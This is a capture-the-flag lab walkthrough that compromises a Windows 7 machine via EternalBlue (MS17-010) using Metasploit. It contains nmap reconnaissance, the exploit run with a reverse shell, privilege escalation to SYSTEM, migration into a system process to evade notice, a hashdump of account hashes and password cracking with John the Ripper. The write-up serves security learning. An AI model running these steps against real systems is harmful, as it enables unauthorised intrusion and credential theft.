



## Exploiting windows :)

The first step to do when you want to gain access is to do some reconnaissance first.

Lets see if I can communicate via ICMP with the target:

```
(rootkali)-[/home/kali]
# ping 10.10.40.68
PING 10.10.40.68 (10.10.40.68) 56(84) bytes of data.
64 bytes from 10.10.40.68: icmp_seq=1 ttl=127 time=103 ms
64 bytes from 10.10.40.68: icmp_seq=2 ttl=127 time=176 ms
64 bytes from 10.10.40.68: icmp_seq=3 ttl=127 time=180 ms
```

It looks like the machine responds to ICMP and judging by the TTL i can guess that it is windows (default 128).

I want to see open ports and also possible vulnerabilities on the machine via nmap.

```
(rootkali)-[/home/kali]
# nmap -A 10.10.40.68 --script=vuln -vv -oN 10.10.40.68_scan.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-26 07:50 EDT
NSE: Loaded 149 scripts for scanning.
NSE: Script Pre-scanning.
```

It's important to output the scan to a file. You don't want to draw attention for scanning more times than you actually need. In addition it's better to run the nmap with root privileges in order to use SYN scan (it is stealthier).

It looks like these are the open pots and running services:

PORT	STATE	SERVICE	REASON	VERSION
135/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
139/tcp	open	netbios-ssn	syn-ack ttl 127	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	syn-ack ttl 127	Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp	open	tcpwrapped	syn-ack ttl 127	

```
_SSv2 -> 49152/tcp open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
49158/tcp open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
49160/tcp open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
```

We also know for sure that we are dealing with windows.

This is the interesting vulnerability we are going to exploit: (Thanks nmap 🐼)

```
smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1
servers (ms17-010).

Disclosure date: 2017-03-14
References:
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
```

As of writing this document I'm still fairly new so forgive me for using Metasploit for this next part. 🐼

Anyway...

This is the exploit I'm going to use in metasploit based on the recon so far.

```
msf6 > search ms17-010

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14      average No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
2  exploit/windows/smb/ms17_010_psexec       2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
3  auxiliary/admin/smb/ms17_010_command      2017-03-14      normal No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
4  auxiliary/scanner/smb/smb_ms17_010        2017-03-14      normal No     MS17-010 SMB RCE Detection
5  exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great  Yes    SMB DOUBLEPULSAR Remote Code Execution
```

By reading the description (info 0) I understand that this exploit is caused by a buffer overflow... The famous name for this exploit is "ETERNALBLUE".

More info: <https://en.wikipedia.org/wiki/EternalBlue>

After setting the needed options for the exploit (options) I've also set the payload: windows/x64/shell/reverse\_tcp (This is a cmd reverse shell)

After having everything set lets run the exploit...

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.10.40.68:445 - Executing automatic check (disable AutoCheck to override)
[*] 10.10.40.68:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 10.10.40.68:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.40.68:445 - Scanned 1 of 1 hosts (100% complete)
```

Success we're in! (Don't mind the different IP, I had to pause the lab 😊)

```
10.10.129.103:445
[+] 10.10.184.135:445 - =====
[+] 10.10.184.135:445 - =====WIN=====
[+] 10.10.184.135:445 - =====

C:\Windows\system32>
```

Now we're in as a normal user, but we want to escalate our privileges to an Administrator. Lets first upgrade our shell to meterpreter. (after backgrounding it)  
I'll be using this module:

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > search shell_to_meterpreter

Matching Modules
=====

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  post/multi/manage/shell_to_meterpreter  normal         No    Shell to Meterpreter Upgrade
```

From there just to set the LHOST and the previous session ID (ID = 1).  
It worked!

```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
```

```
meterpreter > shell
Process 1968 created.
Channel 3 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

Now we want to hide ourselves as a legitimate system process. Let's look for a worthy candidate:

```
2936 688 svchost.exe x64 0 SERVICE NT AUTHORITY\SYSTEM psvc.exe
3024 688 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\SearchIndexer.exe
```

```
meterpreter >
```

```
meterpreter > migrate 3024
[*] Migrating from 936 to 3024...
[*] Migration completed successfully.
```

Lets see what users we have on the machine.

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

Poor Jon should've updated his windows. 😊

Let's figure out what his password is... I'll copy the necessary details to a text file.

```
(root@kali)-[~]  
# echo Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d::: > Jon.txt
```

To crack the password I'll be using John The Ripper and the wordlist "rockyou.txt" from seclists.

```
(root@kali)-[~]  
# john Jon.txt --fork=4 --wordlist=rockyou.txt --format=NT  
Using default input encoding: UTF-8  
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])  
Node numbers 1-4 of 4 (fork)  
Press 'q' or Ctrl-C to abort, almost any other key for status  
alqfna22 (Jon)  
3 ig 0:00:00:00 DONE (2021-05-27 14:09) 3.125g/s 7969Kp/s 7969Kc/s 7969KC/s alric17..alpi  
y5254  
2 0g 0:00:00:00 DONE (2021-05-27 14:09) 0g/s 8537Kp/s 8537Kc/s 8537KC/s !!()ez:0).a6_123  
4 0g 0:00:00:00 DONE (2021-05-27 14:09) 0g/s 8537Kp/s 8537Kc/s 8537KC/s !!!sad!!!.ie168  
1 0g 0:00:00:00 DONE (2021-05-27 14:09) 0g/s 7795Kp/s 7795Kc/s 7795KC/s !!!lkav!!!.abygur16  
9  
Waiting for 3 children to terminate  
Session completed
```

Now let's look for the flags in the system.

Flag1:

Look in the root directory.

```
C:\>type flag1.txt  
type flag1.txt  
flag{access_the_machine}
```

Flag2:

The second flag is located where windows usually stores passwords, which is C:\Windows\System32\config.

```
C:\Windows\System32\config>type flag2.txt  
type flag2.txt  
flag{sam_database_elevated_access}
```

Flag3:

The last flag is in the documents.

```
C:\Users\Jon\Documents>type flag3.txt  
type flag3.txt  
flag{admin_documents_can_be_valuable}
```